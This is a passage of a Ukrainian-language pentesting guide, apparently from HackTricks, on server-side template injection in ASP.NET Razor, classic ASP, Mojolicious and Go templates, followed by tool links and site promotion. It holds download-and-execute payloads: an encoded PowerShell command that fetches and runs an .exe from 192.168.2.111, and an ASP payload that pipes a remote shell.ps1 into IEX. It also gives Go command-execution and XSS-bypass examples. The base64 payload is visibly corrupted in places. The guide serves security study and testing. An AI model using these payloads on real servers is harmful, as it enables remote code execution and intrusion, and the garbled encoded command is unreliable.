@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AdAB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Метод .NET System.Diagnostics.Process.Start
може бути використаний для запуску будь-якого процесу на сервері та створення веб-оболонки. Приклад вразливої веб-додатку можна знайти за посиланням https://github.com/cnotin/RazorVulnerableApp
Додаткова інформація
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Нічого<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Додаткова інформація
Mojolicious (Perl)
Навіть якщо це perl, він використовує теги, схожі на ERB в Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Помилка
<%= perl code %>
<% perl code %>
SSTI в GO
У шаблонному движку Go підтвердження його використання можна здійснити за допомогою конкретних полів:
{{ . }}
: Розкриває вхідну структуру даних. Наприклад, якщо передається об'єкт з атрибутомPassword
,{{ .Password }}
може викрити його.{{printf "%s" "ssti" }}
: Очікується виведення рядка "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Ці полі варто повернути "ssti" без додавання "html" або "js". Додаткові вказівки можна дослідити в документації Go тут.
Експлуатація XSS
З пакетом text/template
, XSS може бути простим завдяки безпосередньому вставленню полів. Навпаки, пакет html/template
кодує відповідь, щоб запобігти цьому (наприклад, {{"<script>alert(1)</script>"}}
призводить до <script>alert(1)</script>
). Однак визначення та виклик шаблону в Go може обійти це кодування: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Копіювати код
Експлуатація RCE
Експлуатація RCE відрізняється значно між html/template
та text/template
. Модуль text/template
дозволяє викликати будь-яку публічну функцію безпосередньо (використовуючи значення "call"), що не дозволяється в html/template
. Документація для цих модулів доступна тут для html/template та тут для text/template.
Для RCE через SSTI в Go можна викликати методи об'єктів. Наприклад, якщо у наданому об'єкті є метод System
, що виконує команди, його можна експлуатувати, як {{ .System "ls" }}
. Доступ до вихідного коду зазвичай необхідний для експлуатації цього, як у наведеному прикладі:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Додаткова інформація
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Додаткові експлойти
Перевірте решту https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection для отримання додаткових експлойтів. Також ви можете знайти цікаву інформацію про теги за посиланням https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
Чорна книга PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
Пов'язана допомога
Якщо ви вважаєте, що це може бути корисно, прочитайте:
Інструменти
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Список виявлення перебору
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Практика та посилання
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON - найбільш важлива подія з кібербезпеки в Іспанії та одна з найважливіших в Європі. З місією просування технічних знань, цей конгрес є важливою точкою зустрічі для професіоналів технологій та кібербезпеки у будь-якій галузі.
{% embed url="https://www.rootedcon.com/" %}
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити вашу компанію рекламовану в HackTricks або завантажити HackTricks у PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud github репозиторіїв.